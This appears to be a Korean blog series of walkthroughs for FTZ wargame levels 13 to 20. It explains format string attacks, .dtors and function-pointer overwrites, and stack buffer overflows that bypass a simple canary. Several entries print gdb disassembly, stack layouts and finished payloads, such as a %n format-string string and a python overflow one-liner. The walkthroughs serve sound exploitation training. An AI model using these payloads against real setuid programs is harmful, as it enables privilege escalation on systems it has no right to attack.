1. 포맷 스트링 공격(Format String Attack)

프로그램에 입력된 문자열 데이터가 명령으로 해석될 때 발생
- 공격자는 코드를 실행하거나 메모리 일부를 읽거나 실행중인 프로그램에 Segmentation Fault를 발생시켜 시스템에 의도되지 않은 동작을 유발

 

1.1 포멧 스트링 3가지 개념

① 포맷 함수(Format Function)

- printf, fprintf와 같은 ANSI C 함수

- ex) printf(), scanf() ...

 

② 포맷 스트링(Format String)
- 포맷 함수의 인자이며 다음과 같은 텍스트 및 포맷 인자를 포함하는 ASCII 문자열
- ex) printf("number : %d\n", 1);

 

③ 포맷스트링 인자(Format String Parameter)
- %x %s 등으로 포맷 함수의 변환 형태를 정의

- 프로그램이 전달된 스트링 입력의 유효성을 제대로 확인하지 않으면 취약점이 노출됨.

인자 입력 타입 출력
%d 10진수
%s 포인터 포인터에 위치하는 문자열
%x 16진수
%u 부호없는 10진수
%p 포인터 포인터가 가르키는 주소
%n 포인터 지금까지 출력한 바이트수를 포인터가 가르키는 주소에 넣어줌

 

1.2 예시

- 포맷 스트링 공격에 안전한 경우(위)와 취약한 경우(아래)를 비교하여 확인

 

1.3 포맷 스트링 공격 대응방안

① 서식문자열을 함수의 입력 파라미터로 직접 사용하지 않음 즉, 정확한 포맷스트링의 지정이 필요

ex) printf(argv[1])  ->  printf("%s", argv[1])

 

② 포맷 스트링에 취약한 함수를 사용하지 않음

ex) fprintf(), sprintf(), snprintf() ...

 

2. 풀이

- 80byte 배열 bleh를 선언한 후 setruid 실행 및 fgets로 79byte까지 입력값을 받아 버퍼오버플로우는 불가능함

- main 심볼이 없어 gdb를 사용할 수 없음

- hint 파일의 내용 중 print(bleh); 구문에서 포맷 스트링 공격이 가능함

- attackme 실행 후 %08x의 개수를 증가시킬 경우 12byte 이후 삽입한 문자열이 출력되는 것을 확인할 수 있으므로 스택의 구조를 예상해 볼 수 있음

 

- level20에서는 쉘코드를 환경변수에 등록하여 환경변수의 주소를 등록한 후 해당 환경변수의 주소를 RET에 덮어쓰는 기존의 방식은 사용하지 못함

- bleh와 SFP 사이에 존재하는 dummy의 크기를 모르기 때문이며, 따라서 다른 값에 환경변수의 주소를 덮어써야함

- 따라서 main()이 종료되고 .dtors가 실행되기전에 .dtors값을 쉘코드로 덮어써야함

- objdump 명령으로 .dtors의 세그먼트 주소는 0x08049594이며, .dtros의 시작 주소는 0x08049598

- +4를 해주는 이유는 다수의 .dtors 영역에서 실행이 되게 하기 위해서는 +4를 해줘야 한다고 함(정확한 이유는 확인 중)

 

- .dtros의 시작 주소 0x08049598에 환경변수 주소 0xbfffff2d를 덮어써주면 됨

- 쉘코드 주소 0xbfffff2d는 10진수로 3,221,225,261로 int형 범위를 넘어서게 되므로 소멸자를 2바이트씩 나누어 넣어줘야하며, 이때 %n 지정자 사용

 

- 소멸자를 낮은 주소와 높은 주소로 나누어보면 0x08049598이 낮은 주소, 0x08049598+2=0x0804959a가 높은 주소

- 쉘코드 환경변수의 낮은 주소는 ff2d(65,325), 높은 주소는 bfff(49,151)

- 따라서, 페이로드 형식은 다음과 같음

AAAA\x98\x95\x04\x08AAAA\x9a\x95\x04\x08%8x%8x%8x%낮은 셸 코드주소c%n%높은 셸 코드주소c%n

 

- %[숫자]c의 경우 [숫자] 만큼의 공백을 의미하며, %n은 이전 입력 값까지 더하여 저장하게됨

- 따라서 %낮은 셸 코드주소c%n의 경우 65,325-(4 + 4 + 4 + 4 + 8 + 8 + 8)=65,285

- %높은 셸 코드주소c%n의 경우 49,151-65,325=-16,174, 음수가 발생하므로 bfff의 2의보수에 65,325를 빼주어 높은 쉘코드를 구함=114687-65,325=49,362

- 즉 완성된 페이로드는 다음과 같음

AAAA\x98\x95\x04\x08AAAA\x9a\x95\x04\x08%8x%8x%8x%65285c%n%49362c%n

'문제풀이 > FTZ' 카테고리의 다른 글

FTZ Level19 풀이  (0) 2022.11.08
FTZ Level18 풀이  (0) 2022.11.07
FTZ Level17 풀이  (0) 2022.11.07
FTZ Level16 풀이  (0) 2022.11.05
FTZ Level15 풀이  (0) 2022.11.05

1. 풀이

- 20byte의 buf 배열 생성 후 gets()로 사용자 입력을 받음

- 기존의 level과 달리 setreuid, system("/bin/sh") 구문 등이 확인되지 않음

 

- 40byte 만큼의 공간을 할당하여 buf(20byte)+dummy(20byte) 만큼이 있음을 알 수 있음

 

- 쉘코드를 환경변수로 등록하여 attackme를 실행하여 보았지만 변화없음 

- 그 이유는 hint에서 보았듣이 setreuid가 설정되어 있지 않아 BOF가 발생했다 하더라도 level20의 권한을 탈취할 수 없기 때문임

 

- 따라서, setreuid 및 /bin/sh이 포함된 쉘코드를 환경변수에 저장 후 환경변수의 주소를 RET에 덮어써 쉘코드를 실행

'문제풀이 > FTZ' 카테고리의 다른 글

FTZ Level20 풀이  (0) 2022.11.08
FTZ Level18 풀이  (0) 2022.11.07
FTZ Level17 풀이  (0) 2022.11.07
FTZ Level16 풀이  (0) 2022.11.05
FTZ Level15 풀이  (0) 2022.11.05

1. 풀이

- 사용자로부터 command를 입력받아 fflus(stdout)으로 출력

- count 값이 100 이상일 경우 printf() 출력, check 값이 "0xdeadbeef"일 경우 secllout() 호출, 두 가지 경우가 아닌 경우 else()를 실행하며, check 값을 "0xdeadbeef"로 변조해야 하는 것을 유추해 볼 수 있음.

- else 구문 분석

// 파일 디스크립터(FD)
// level18 파일 디스크립터 관련 변수 : fd_set fds
// 시스템으로부터 할당 받은 파일을 대표하는 0이 아닌 정수 값
// 프로세스에서 열린 파일의 목록을 관리하는 테이블의 인덱스
// 표준 입력=0, 표준 출력=1, 표준 에러=2로 정의되어있음
 else
        {
          // FD_ZERO(fd_set *set) : fd_set을 0으로 초기화
          // 각 fds를 0으로 초기화 (fd_set 배열 선언 후 쓰레기 값을 0으로 초기화)
          FD_ZERO(&fds);
        
          // FD_SET(int fd, fd_set *set) : fd_set변수의 fd번째의 비트를 1로 바꾼다.
          // 해당 fds를 1로 세팅
          FD_SET(STDIN_FILENO,&fds);

          // int select(int n, fd_set *readfds, fd_set *writefds, fd_set *exceptfds, struct timeval *timeout)
          // 파일 디스크립터 구조체 모니터링 함수
          // int n : 검사할 파일디스크립터의 범위를 지정 (=검사할 파일의 개수)
          // fd_set *readfds : 수신할 데이터가 있는지 확인
          // fd_set *writefds : 송신할 데이터가 있는지 확인
          // fd_set *exceptfds : 예외가 있는지 확인 (0이면 체크하지 않음)
          // struct timeval *timeout : 무한 대기 상태를 방지하는 타임아웃 설정
          // 반환 값 : 변화가 발생한 파일디스크립터의 개수 (오류 발생 : -1, 타임 아웃 : 0 반환)
          // 즉, 변화된 파일 디스크립터의 개수가 1개 이상일 경우 수행되는 if문
          if(select(FD_SETSIZE, &fds, NULL, NULL, NULL) >= 1)
            {

              // FD_ISSET(int fd, fd_set *set) : fd_set에 fd가 포함되어 있는 지를 확인하는 함수
              // select함수가 호출된 후에는 처리가 가능한 fd만 남게되므로 읽기 또는 쓰기 준비가 되어 있는 지 여부를 알 수 있음
              // fd가 set에 설정되지 않은 경우 0을, set에 설정된 경우 0이 아닌 값을 반환
              if(FD_ISSET(fileno(stdin),&fds))
                {
 
                  // 표준 입력으로 1byte만큼 x에 저장
                  read(fileno(stdin),&x,1);
                  switch(x)
                    {
                      case '\r': // Carriage return : 다음 줄 가장 왼쪽으로 이동
                      case '\n': // Line Feed : 다음 줄로 이동하는 문자
                        printf("\a");
                        break;
                      case 0x08: // 0x08이 입력될 경우
                        count--;
                        printf("\b \b");
                        break;
                      default:
                        string[count] = x;
                        count++;
                        break;
                    }
                }
            }
        }

 

- gdb로 해당 파일을 분석해보면 우선 지역변수에 0x100, 즉 256byte의 공간을 할당

- 0xffffff90와 0x63(99)를 비교 즉, if(count >= 100)를 수행하 다음 분기를 결정하는 구간으로, 여기서 count는 0xffffff90인것을 알 수 있음

- $0xdeadbeef,0xffffff98(%ebp)를 비교 즉, if(check == 0xdeadbeef)를 수행하여 다음 분기를 결정하는 구간으로, 여기서 check는 0xffffff98에, shlleout()은 0x08048780에 위치해 있음을 알 수 있음

- 또한, 0xffffff10에 fds가 위치해있음을 알 수 있음

- switch(x) 문을 수행하는 부분으로, 0xffffff94에 x가, 0xffffff90에 string이 위치한다는 것을 확인할 수 있음

- 위 정보를 토대로 메모리 구조를 예측해보면 다음과 같음

 

- 현재 사용자의 입력을 받을 수 있는 부분은 x 값이며, check를 0xdeadbeef로 변조하여야 함

- 즉, x 값에 else 구문에서 확인한 0x08을 전달하여 check에 위치하도록 한 후 0xdeadbeef를 Little Endian 방식으로 전달

'문제풀이 > FTZ' 카테고리의 다른 글

FTZ Level20 풀이  (0) 2022.11.08
FTZ Level19 풀이  (0) 2022.11.08
FTZ Level17 풀이  (0) 2022.11.07
FTZ Level16 풀이  (0) 2022.11.05
FTZ Level15 풀이  (0) 2022.11.05

1. 풀이

- hint 파일을 통해 level16과 달리 printit() 함수만 선언되어있고, (*call) 함수 포인터 또한 printit으로 초기화 되어있음

- level16에서는 상위 level의 권한을 부여하고 /bin/sh로 쉘을 실행하였으나, level17에서는 쉘코드를 작성하여 (*call) 함수 포인터의 값을 쉘코드의 주소로 덮어쓰면 문제를 풀 수 있음을 예상

 

 

 Procedure Prelude

0x080484a8 <main+0>:    push   %ebp
0x080484a9 <main+1>:    mov    %esp,%ebp
0x080484ab <main+3>:    sub    $0x38,%esp

- 지역변수에 56byte(0x38) 할당

 

② void (*call)()=printit;

0x080484ae <main+6>:    movl   $0x8048490,0xfffffff0(%ebp)

- (*call) 함수 포인터에 $0x8048490 값 즉, printit() 함수의 주소를 저장

- printit() 함수를 disassembly 하면 시작 주소를 알 수 있으며, (*call) 함수 포인터는 0xfffffff0에 저장되어 있는것을 알 수 있음.

 

③ fgets(배열, 문자 길이, STDIN)
0x080484b8 <main+16>:   pushl  0x804967c // STDIN
0x080484be <main+22>:   push   $0x30 // 문자길이 (0x30 = 48)
0x080484c0 <main+24>:   lea    0xffffffc8(%ebp),%eax // 0xffffffc8 (buf의 주소)
0x080484c3 <main+27>:   push   %eax // buf 주소
0x080484c4 <main+28>:   call   0x8048350 <fgets> 
- 즉, fgets()를 통해 0xffffffc8 (buf의 주소)에 사용자 입력값을 받음

- ②와 ③을 통해 buf와 (*call) 사이에 20byte 만큼의 dummy가 있으며, 나머지 12 byte 공간에 crap(4byte)+dummy(8byte)가 저장되어 있음

- fgets() 실행 후인 main+33 지점에 bp 설정 및 level17 실행 후 esp 메모리 값을 확인

- 위 결과를 통해 메모리 결과를 예측해보면 다음과 같음

 

④ setreuid(0xc1a,0xc1a) 및 call()

0x080484cf <main+39>:   push   $0xc1a
0x080484d4 <main+44>:   push   $0xc1a
0x080484d9 <main+49>:   call   0x8048380 <setreuid>
0x080484de <main+54>:   add    $0x10,%esp
0x080484e1 <main+57>:   mov    0xfffffff0(%ebp),%eax
0x080484e4 <main+60>:   call   *%eax

- level18 권한 부여 후 call()

 

- 따라서, (*call) 함수 포인터가 가리키는 주소를 shellcode의 주소로 덮어쓴다면, level18의 쉘읠 획득할 수 있을것

'문제풀이 > FTZ' 카테고리의 다른 글

FTZ Level19 풀이  (0) 2022.11.08
FTZ Level18 풀이  (0) 2022.11.07
FTZ Level16 풀이  (0) 2022.11.05
FTZ Level15 풀이  (0) 2022.11.05
FTZ Level14 풀이  (0) 2022.11.05

1. 풀이

- level17의 권한을 부여하고 /bin/sh를 실행하는 shell() 함수와 문자를 출력하는 printit() 함수가 존재

- (*call) 함수 포인터를 printit() 함수 시작주소로 초기화 및 fgets()로 사용자 입력을 받은 후 call() 호출

- 즉, (*call)를 shell() 함수의 주소를 가리키게 한다면 문제를 풀 수 있을 것임

 

 

 Procedure Prelude

0x08048518 <main+0>:    push   %ebp
0x08048519 <main+1>:    mov    %esp,%ebp
0x0804851b <main+3>:    sub    $0x38,%esp

- 지역변수에 56byte(0x38) 할당

 

② void (*call)()=printit;

0x0804851e <main+6>:    movl   $0x8048500,0xfffffff0(%ebp) // printit() 함수 주소

- (*call) 함수 포인터에 $0x8048500 값 즉, printit() 함수의 주소를 저장

- printit() 함수를 disassembly 하면 시작 주소를 알 수 있으며, (*call) 함수 포인터는 0xfffffff0에 저장되어 있는것을 알 수 있음.

- 또한,같은 방법으로 shell() 함수의 시작 주소(0x080484d0)를 알 수 있음

 

③ fgets(배열, 문자 길이, STDIN)
0x08048528 <main+16>:   pushl  0x80496e8 // STDIN
0x0804852e <main+22>:   push   $0x30 // 문자길이 (0x30 = 48)
0x08048530 <main+24>:   lea    0xffffffc8(%ebp),%eax // 0xffffffc8 (buf의 주소)
0x08048533 <main+27>:   push   %eax // buf 주소
0x08048534 <main+28>:   call   0x8048384 <fgets> 
- 즉, fgets()를 통해 0xffffffc8 (buf의 주소)에 사용자 입력값을 받음

- ②와 ③을 통해 buf와 (*call) 사이에 20byte 만큼의 dummy가 있으며, 나머지 12 byte 공간에 crap(4byte)+dummy(8byte)가 저장되어 있음

- fgets() 실행 후인 main+33 지점에 bp 설정 및 level16 실행 후 esp 메모리 값을 확인

 

④ call()
0x0804853c <main+36>:   mov    0xfffffff0(%ebp),%eax
0x0804853f <main+39>:   call   *%eax

- printit() 호출

 

-  메모리 구조는 위 그림과 같으며, 아래 그림 처럼 (*call) 함수 포인터를 shell() 함수의 주소로 설정할 경우 쉘을 획득할 수 있음

 

- buf와 dummy의 40byte 만큼의 NOP 슬라이드와 shell() 함수의 시작주소를 Littel Endian 방식으로 페이로드 작성

'문제풀이 > FTZ' 카테고리의 다른 글

FTZ Level18 풀이  (0) 2022.11.07
FTZ Level17 풀이  (0) 2022.11.07
FTZ Level15 풀이  (0) 2022.11.05
FTZ Level14 풀이  (0) 2022.11.05
FTZ Level13 풀이  (0) 2022.11.04

1. 풀이

- hint 파일을 살펴보면, level14와 유사하지만 level14와 달리 check 변수가 포인터 변수로 설정되어 있음

- 포인터 변수는 메모리 주소의 값을 저장하는 변수로, check 변수 주소의 값이 0xdeadbeef일 경우 level16의 권한과 쉘을 획득할 수 있음

- attackme 파일을 파일을 /tmp로 복사 후 gdb로 분석

 

 Procedure Prelude

0x08048490 <main+0>:    push   %ebp
0x08048491 <main+1>:    mov    %esp,%ebp
0x08048493 <main+3>:    sub    $0x38,%esp

- 지역변수에 56byte(0x38) 할당

 

② fgets(배열, 문자 길이, STDIN)
0x08048499 <main+9>:    pushl  0x8049664 // STDIN
0x0804849f <main+15>:   push   $0x2d // 문자길이 (0x2d = 45)
0x080484a1 <main+17>:   lea    0xffffffc8(%ebp),%eax // 0xffffffc8 (buf의 주소)
0x080484a4 <main+20>:   push   %eax // buf 주소
0x080484a5 <main+21>:   call   0x8048360 <fgets>
- 즉, fgets()를 통해 0xffffffc8 (buf의 주소)에 사용자 입력값을 받음

- <main+29>를 통해 *check 변수는 0xfffffff0에 위치하며, buf와 *check 사이에는 20byte 만큼의 dummy가 존재

- 또한, 전체 지역변수 공간 56byte 중 buf(20)+dummy(20)+*check(4)를 제외한 12byte 만큼의 공간이 crap(4)+dummy(8)에 할당됨을 알 수 있음

 

③ if(*check==0xdeadbeef)

0x080484b0 <main+32>:   cmpl   $0xdeadbeef,(%eax)

- check 포인터가 가리키는 메모리 주소의 값이 0xdeadbeef 인지 검증

 

④ if(*check==0xdeadbeef) True

0x080484bb <main+43>:   push   $0xc18
0x080484c0 <main+48>:   push   $0xc18
0x080484c5 <main+53>:   call   0x8048380 <setreuid>
0x080484ca <main+58>:   add    $0x10,%esp
0x080484cd <main+61>:   sub    $0xc,%esp
0x080484d0 <main+64>:   push   $0x8048548
0x080484d5 <main+69>:   call   0x8048340 <system>

- level16 권한 부여 후 /bin/sh 실행

 

공격방법 1. 환경변수

- CODE 환경변수로 0xdeadbeef를 선언

- check의 값으로 환경변수의 주소를 전달 하였으나 쉘을 얻지못함

- 구글 조회 결과 환경변수의 주소값은 디렉토리의 경로나 프로그램의 변수 개수 등에 의해 주소값이 밀려서 달라지게 되는것을 알 수 있었음

- 밀린 바이트 수까지 반영하여 보다 정확한 환경변수 주소를 구하는 코드는 다음과 같음

- 환경변수의 주소를 구해 attackme 실행 시 level16의 비밀번호를 알 수 있음

 

공격방법 2. 0xdeadbeef 주소 값 전달

- 0xdeadbeef를 비교하는 main+32에 bp 설정 및 프로그램 실행 후 $eip(다음 명령을 저장) 확인

- main+32에서 dead와 beef를 확인할 수 있으며, 0x80484b0부터 1씩 증겨시키면서 0xdeadbeef의 위치를 확인하면 0x80484b2에 해당 값이 저장되어 있음을 알 수 있음

 

공격방법 3. buf 이용

- buf에 0xdeadbeef를 저장한 후 check에 buf의 주소값을 전달하면 결과적으로 check는 0xdeadbeef 값을 가리키게됨

- 해당 방법을 이용하기 위해서는 buf의 시작 주소를 알아야 함

- 0xdeadbeef를 비교하는 main+32에 bp 설정 및 프로그램 실행 후 $esp 확인 결과 buf의 시작주소는 0xbffff7d0인 것을 알 수 있음

- fgets() 함수 실행 및 main으로 복귀 후 bp에 의해 실행을 멈추게 되어 현재 esp는 buf의 위치를 가짐

- 하지만 ASLR 기법으로 인해 주소가 달라져 성공률이 낮음

'문제풀이 > FTZ' 카테고리의 다른 글

FTZ Level17 풀이  (0) 2022.11.07
FTZ Level16 풀이  (0) 2022.11.05
FTZ Level14 풀이  (0) 2022.11.05
FTZ Level13 풀이  (0) 2022.11.04
FTZ Level12 풀이  (0) 2022.10.31

1. 풀이

- hint 파일의 내용을 통해 fgets()로 buf 배열에 45byte 만큼의 입력을 받으며, check의 값이 0xdeadbeef와 같아야 한다는 것을 알 수 있음

 

 Procedure Prelude

0x08048490 <main+0>:    push   %ebp
0x08048491 <main+1>:    mov    %esp,%ebp
0x08048493 <main+3>:    sub    $0x38,%esp

- 지역변수에 56byte(0x38) 할당

 

② fgets(배열, 문자 길이, STDIN)

0x08048499 <main+9>:    pushl  0x8049664 // STDIN
0x0804849f <main+15>:   push   $0x2d // 문자길이 (0x2d = 45)
0x080484a1 <main+17>:   lea    0xffffffc8(%ebp),%eax // 0xffffffc8 (buf의 주소)
0x080484a4 <main+20>:   push   %eax // buf 주소
0x080484a5 <main+21>:   call   0x8048360 <fgets>

- 즉, fgets()를 통해 0xffffffc8 (buf의 주소)에 사용자 입력값을 받음

 

③ if (check==0xdeadbeef)

0x080484ad <main+29>:   cmpl   $0xdeadbeef,0xfffffff0(%ebp) // 0xfffffff0 (check 주소)

- 0xfffffff0의 값, 즉 check 변수의 값이 $0xdeadbeef와 동일한지 검증

- ②와 ③을 통해 buf 배열과 check 변수 사이에 20byte 만큼의 dummy가 있음을 알 수 있음

- 또한, 전체 지역변수 공간 56byte 중 buf(20)+dummy(20)+check(4)를 제외한 12byte 만큼의 공간이 crap(4)+dummy(8)에 할당됨을 알 수 있음

 

④ if() True일 경우

0x080484b9 <main+41>:   push   $0xc17
0x080484be <main+46>:   push   $0xc17
0x080484c3 <main+51>:   call   0x8048380 <setreuid>
0x080484c8 <main+56>:   add    $0x10,%esp
0x080484cb <main+59>:   sub    $0xc,%esp
0x080484ce <main+62>:   push   $0x8048548
0x080484d3 <main+67>:   call   0x8048340 <system>

- level15의 권한 부여 및 /bin/sh 실행

 

- 공격 방법은 다음과 같음

① buf+dummy 만큼 버퍼오플로우

② check 변수에 $0xdeadbeef 값 전달

③ level15의 쉘 휙득

'문제풀이 > FTZ' 카테고리의 다른 글

FTZ Level16 풀이  (0) 2022.11.05
FTZ Level15 풀이  (0) 2022.11.05
FTZ Level13 풀이  (0) 2022.11.04
FTZ Level12 풀이  (0) 2022.10.31
FTZ Level11 풀이  (0) 2022.10.31

1. 풀이

- hint 파일의 내용을 통해 argc(인자의 개수)는 1을 넘어야하며, i의 값은 0x1234567이어야 프로그램이 실행되는 것을 알 수 있음

- i의 값은 버퍼 오버플로우 방지를 위한 스택가드의 역할을 수행

 

- attackme 파일을 tmp로 복사하여 gdb로 분석

 

Procedure Prelude

0x080484a0 <main+0>:    push   %ebp
0x080484a1 <main+1>:    mov    %esp,%ebp
0x080484a3 <main+3>:    sub    $0x418,%esp

- 지역변수에 0x418(1048byte) 만큼의 공간을 할당

- buf(1024byte)와 long i(4byte) 만큼의 공간을 제외하면 20byte 만큼의 dummy가 있음을 알 수 있음

② long i=0x1234567;

0x080484a9 <main+9>:    movl   $0x1234567,0xfffffff4(%ebp)

- 할당받은 지역변수(1048byte) 공간에 i값 0x1234567을 저장

- strcpy() 함수를 호출하는 main+69에 BP를 설정 및 buf의 크기 1024byte 만큼의 A를 전달 후 메모리 값 확인

- buf는 0xbfffed5F에서 끝나며, i는 0xbfffed6C에 저장되 있으므로, 두 값 사이에는 12byte 만큼의 dummy가 존재

- 또한, 전체 지역변수 공간 1048byte에서 buf(1024)+dummy(12)+i(4)를 제외한 8byte 만큼의 dummy가 존재

- 완성된 스택 구조는 다음과 같음

 

③ setreuid(0xc16,0xc16)

0x080484b3 <main+19>:   push   $0xc16
0x080484b8 <main+24>:   push   $0xc16
0x080484bd <main+29>:   call   0x8048370 <setreuid>

- level13 권한 설정

 

④ if(argc>1)

0x080484c5 <main+37>:   cmpl   $0x1,0x8(%ebp)
0x080484c9 <main+41>:   jle    0x80484e5 <main+69>

- if문 수행 후 분기 결정

 

strcpy(복사할 대상, 복사할 원본);

0x080484d6 <main+54>:   lea    0xfffffbe8(%ebp),%eax
0x080484dc <main+60>:   push   %eax
0x080484dd <main+61>:   call   0x8048390 <strcpy>

- strcpy()를 이용해 argv[1]의 값을 buf 배열에 복사를 수행

- strcpy()는 문자열 길이에 대한 검증을 수행하지 않기에 BOF에 취약

 

⑥ if(i != 0x1234567)

0x080484e5 <main+69>:   cmpl   $0x1234567,0xfffffff4(%ebp)
0x080484ec <main+76>:   je     0x804850d <main+109>

- i의 값이 0x1234567 비교 후 분기 결정

 

- 분석한 스택 구조와 hint의 내용을 토대로, 공격 코드를 작성

`python -c 'print "\x90"*1036(buf+dummy)+"\x67\x45\x23\x01"+"\x90"*12(dummy+sfp)+"쉘코드 주소"'`

- level14의 비밀번호 확인

'문제풀이 > FTZ' 카테고리의 다른 글

FTZ Level15 풀이  (0) 2022.11.05
FTZ Level14 풀이  (0) 2022.11.05
FTZ Level12 풀이  (0) 2022.10.31
FTZ Level11 풀이  (0) 2022.10.31
FTZ Level10 풀이  (0) 2022.10.31

+ Recent posts